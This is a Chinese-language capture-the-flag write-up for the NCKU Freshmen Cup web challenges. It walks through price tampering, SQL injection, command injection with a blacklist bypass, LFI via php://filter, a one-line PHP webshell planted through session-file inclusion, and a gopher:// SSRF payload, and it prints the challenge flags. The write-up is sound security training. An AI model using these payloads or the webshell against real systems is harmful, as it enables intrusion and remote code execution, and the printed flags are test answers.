---
# System prepended metadata

title: 1st NCKU Freshmen Cup Write Up

---

# How to hack website
## Shiba Shop
**可以買一打柴柴的網站!!**
### 四處逛逛
隨便點進一個購買頁面
![](https://hackmd.io/_uploads/H1XRE2Vyp.png)

### 觀察Request
用burp suite攔截請求看一下裡面的結構，試著把cost改成負數看會怎樣
![](https://hackmd.io/_uploads/SJ-krnVka.png)

**會變郭台銘把拔**
![](https://hackmd.io/_uploads/rJSernN1T.png)

### 嘗試存取flag頁面
購買按鈕按不下去，也沒辦法直接把`button`從`disable`改成`enable`，因為裡面根本沒有寫href的位置
![](https://hackmd.io/_uploads/ryhbB3V1T.png)

但是觀察旁邊兩個item可以發現一個是`/item/5429`一個是`/item/5431`
試試看`/item/5430`
![](https://hackmd.io/_uploads/rJVSrh4J6.png)
>我是郭台銘所以可以直接把flag買下來
>`flag:`||NCKUCTF{B3w4r3_0f_th3_5h1b4}||


## Login me
經典SQLi，還給你magic
![](https://hackmd.io/_uploads/BySB_2NJp.png)

### 直接開注

根據search query構造payload，因為password有編碼，所以從username注入
把括號閉合、構造 or 雨具最後把後面註解掉就好了
![](https://hackmd.io/_uploads/rJD4O2N1a.png)

## Login me again
進階版SQLi，讀sauce code可以發現這次他會先fetch `username`，
撈出資料後再比對`password`欄位，所以沒辦法用`or`繞過

### union based SQLi
透過union語句回傳假的資料
![](https://hackmd.io/_uploads/rJsI53Nk6.png)

此時雖然 `username=''`不會匹配任何欄位，但後面的`union`會回傳admin和password回去

>`flag:`||NCKUCTF{SQL1nj3c710n_1s_4lw4y5_345y}||


## DNS Tool

看source code可以發現他是透過執行bash指令查詢DNS
```php=
<?php if (isset($_POST['name'])) : ?>
    <section class="has-text-left">
        <p>Lookup result:</p>
        <pre><?= shell_exec("host '" . $_POST['name'] . "';") ?></pre>
    </section>
<?php endif; ?>
```
### commandline injection
可以透過特殊符號讓一行commandline執行多個指令

![](https://hackmd.io/_uploads/B1djon41p.png)
這邊用`;`讓指令結束，此時會將`;`後的字串視為另一個指令

![](https://hackmd.io/_uploads/SyKG22V1p.png)
可以看到成功達成commandline injection了，到這邊就RCE了

接著只要順藤摸瓜找到`flag`就好了

>`flag:`||NCKUCTF{N3tw0rk_N1nja_2468}||


## WAF
進階版DNS Lookup Tool
```php=
<?php
$blacklist = ['|', '&', ';', '>', '<', "\n", 'flag'];
$is_input_safe = true;
foreach ($blacklist as $bad_word)
    if (strstr($_POST['name'], $bad_word) !== false) $is_input_safe = false;
if ($is_input_safe)
    system("host '" . $_POST['name'] . "';");
else
    echo "HACKER!!!";                 
?>
```
這次加了特殊符號過濾

但他沒有濾到<code>`</code>
![](https://hackmd.io/_uploads/B1kzAnE1T.png)

因為知道`flag`在`/`下面，所以有點通靈盲抓`cat /fla*`，剛好可以繞過blacklist

>`flag:`||NCKUCTF{dnst00l_w4f_m4ster_001}||


## Meow Site

一個有彩虹貓貓在天上飛的網站
![](https://raw.githubusercontent.com/gist/brudnak/aba00c9a1c92d226f68e8ad8ba1e0a40/raw/nyan-cat.gif =80%x)

### 隨便逛逛

可以發現`page`參數後面好像接很像路徑的東東
![](https://hackmd.io/_uploads/S1EclpVkp.png)

隨便塞幾個西瓜草莓可以大概還原原始麻麻大概長這樣：
```php
include($_GET['page'].'.php')
```

### LFI
使用`php://filter`偽協議把source code dump出來
```htmlembedded=
?page=php://filter/read=convert.base64-encode/resource=admin
```

有source code後會發現admin.php把密碼寫死在php裡面，輸入密碼後就可以拿到flag了

>`flag:`||NCKUCTF{Includ3_Th3_Unseen}||


## HakkaMD
一開始看不太出來是要幹嘛，然後他可以寫東西進去 
![](https://hackmd.io/_uploads/S1w1r7Hya.png)


### 四處逛逛

可以發現筆記列表的參數好像可以LFI
![](https://hackmd.io/_uploads/rJteQNrJp.png)

從報錯訊息可以知道網頁使用`include()` function
所以只要構造好檔案就可以把他強制解析成php
![](https://hackmd.io/_uploads/Sk657VHyp.png)

然後他又給你`phpinfo`，可以嘗試直接存取session file看看

### exploit

![](https://hackmd.io/_uploads/H1CrNES1p.png)
可以include session file，所以直接把webshell寫入筆記就可以了

```php=
<?=system($_GET['cmd'])?>
```

![](https://hackmd.io/_uploads/SJ7xSNrkp.png)
RCE了

再來就順藤摸瓜把flag dump出來就好

>`flag:`||NCKUCTF{M4sterOf_HakkaMD||


## Preview Card
這題網頁可以存取url頁面，flag放在本機，但限制localhost可以存取
可以嘗試用`preview.php`存取localhost/flag.php
![](https://hackmd.io/_uploads/BJLBUEHJ6.png)
雖然可以存取，但是要取得`flag`需要送POST request，而`preview.php`只能送GET request
嗎

### 使用gopher protocol偽造請求
```htmlembedded=
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0aHOST:%20127.0.0.1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2014%0d%0a%0d%0agivemeflag=yes%0d%0a
```

>`flag:`||NCKUCTF{SSRF_Sneaky_Requests}||


## Pickle

pickle是python的序列化和反序列化的模組

看source code可以發現他把`cookie`內容作base64 encode然後serialize，所以可以對cookie內容動手腳
```php=
if session == None:
        return '<form action="/login" method="POST">' +\
            '<p>Name: <input name="name" type="text"></p>' +\
            '<p>Age: <input name="age" type="number"></p>' +\
            '<button>Submit</button></form><hr><a href="/sauce">Source code</a>'

    else:
        user = pickle.loads(base64.b64decode(session))
        return f'<p>Name: {user["name"]}</p><p>Age: {user["age"]}</p>'
```


## Cat
## Magic Cat
## Jinja2
## XSS
## SSRFrog


# PicoCTF
## Obedient Shiba
## Python Wrangling
## Welcome